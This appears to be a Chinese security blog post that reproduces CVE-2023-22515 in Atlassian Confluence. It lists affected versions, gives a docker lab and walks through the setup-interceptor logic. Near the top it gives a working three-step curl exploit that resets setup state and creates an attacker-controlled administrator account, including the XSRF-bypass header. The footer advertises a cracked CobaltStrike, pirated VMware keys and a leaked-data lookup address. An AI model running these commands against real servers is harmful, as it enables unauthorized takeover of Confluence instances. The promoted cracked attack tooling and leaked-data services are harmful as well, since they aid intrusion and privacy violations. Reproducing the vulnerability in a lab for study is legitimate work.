查看原文
其他

Confluence CVE-2023-22515漏洞复现

刨洞安全团队 刨洞安全团队 2023-11-08

影响版本:

8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4
8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4
8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3
8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2
8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2
8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1

Exploit:

curl http://127.0.0.1:8090/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\;
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&email=leet@leet.com&password=leet&confirm=leet&setup-next-button=Next" http://127.0.0.1:8090/setup/setupadministrator.action\;
curl -X POST -H "X-Atlassian-Token: no-check" http://127.0.0.1:8090/setup/finishsetup.action

docker-compose.yml

version: '2'
services:
  web:
    image: vulhub/confluence:8.5.1
    ports:
      - "8090:8090"
      - "5050:5050"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment:
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

先引用一张图

先定位到 setupadministrator.action

com.atlassian.confluence_confluence-8.5.1/struts.xml

可以看到处理的 class 是 com.atlassian.confluence.setup.actions.SetupAdministrator,先经过 defaultSetupStack 的拦截器

<action name="setupadministrator-start" class="com.atlassian.confluence.setup.actions.SetupAdministrator" method="doDefault">
    <interceptor-ref name="defaultSetupStack"/>
    <result name="input" type="velocity">/setup/setupadministrator.vm</result>
    <result name="error" type="velocity">/setup/setupadministrator.vm</result>
</action>

<action name="setupadministrator" class="com.atlassian.confluence.setup.actions.SetupAdministrator">
    <result name="input" type="velocity">/setup/setupadministrator.vm</result>
    <result name="error" type="velocity">/setup/setupadministrator.vm</result>
    <result name="success" type="redirect">finishsetup.action</result>
    <result name="custom-setup" type="redirect">finishsetup.action</result>
    <result name="quick-setup" type="redirect">finishsetup.action</result>
</action>

defaultSetupStack 拦截器里有一个 setupcheck 检测

<interceptor-stack name="setupStack">
    <interceptor-ref name="setup"/>
</interceptor-stack>

<interceptor-stack name="defaultSetupStack">
    <interceptor-ref name="setupStack"/>
    <interceptor-ref name="defaultStack"/>
</interceptor-stack>

经过动态调试大概逻辑是

第一次执行
return BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup() ? "alreadysetup" : actionInvocation.invoke(); -> Fasle->actionInvocation.invoke();

第二次执行两边的 isSetupComplete 都返回 true。由于返回是 true 所以是返回 alreadysetup

BootstrapUtils.getBootstrapManager().isSetupComplete() 会返回 setupComplete 的值,如果是已经安装则返回 true

而第一次 ContainerManager.isContainerSetup() 不存在则返回 false

一真一假返回假,走到 actionInvocation.invoke();,在 com/opensymphony/xwork2/DefaultActionInvocation.class 第 203行 会再次执行 SetupCheckInterceptor.intercept。由于第二次两边都是 true 所以返回 alreadysetup 字符串

最后 ResultCode 是 alreadysetup,检测为已经安装

该漏洞将 bootstrapStatusProvider.applicationConfig.setupComplete 设置为 false。在这里将不会返回 alreadysetup,也就是说我们在设置了 setupComplete 属性为 false 后;在下一次访问 /setup/* 目录下触发 setupComplete 拦截器前将一直有效

最后漏洞点是出现在,重写拦截器的点上

<interceptor name="params" class="com.atlassian.xwork.interceptors.SafeParametersInterceptor"/>

当请求的 payload 经过 isSafeParameterName 的匹配,最后会去到 stack.setValue()

(然而我动态调试就是断不到这),那你问我,我怎么知道在地方是漏洞点,他钩子就这一个地方能控制不是这也没别的了

这里还需要设置一手 X-Atlassian-Token: no-check 的原因还是拦截器有检测

<interceptor name="xsrfToken" class="com.atlassian.confluence.xwork.ConfluenceXsrfTokenInterceptor"/>
<interceptor-ref name="xsrfToken"/>

Exploit

参考链接

https://mp.weixin.qq.com/s?__biz=MzkxMzM3NjMxOQ==&mid=2247483685&idx=1&sn=54b435180042beb9b709d1553bc3f5ab&chksm=c17fd475f6085d634f1c529148f7f825400ffe899c51e181193e6bdf7cbd5d01c4697557104a&mpshare=1&scene=1&srcid=1018qojPYalTqmkCEJMtpr6x&sharer_shareinfo=600bda857d36789f7e9d9b21356b7250&sharer_shareinfo_first=600bda857d36789f7e9d9b21356b7250#rd


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.9破解版


加我微信好友,邀请你进交流群





往期推荐



对某金融App的加解密hook+rpc+绕过SSLPinning抓包

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

Fofa新产品 - 绕CDN溯源真实IP!

Cobalt Strike 4.8 正式发布上线!

团队在线Windows进程识别正式内测

突发!微信疑似存在RCE

COM接口学习与利用

域渗透之NTLM Relay

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

KKCMS 1.371 代码审计

日常记录对某站点的实战渗透

国产之光IDE,自带国产特色VIP功能!

善攻者,动于九天之上。善守者,藏于九地之下!

红蓝对抗,强则强,弱则亡!

谈一谈我是如何入门安全的,七年安全生涯总结

备用号,欢迎关注


继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存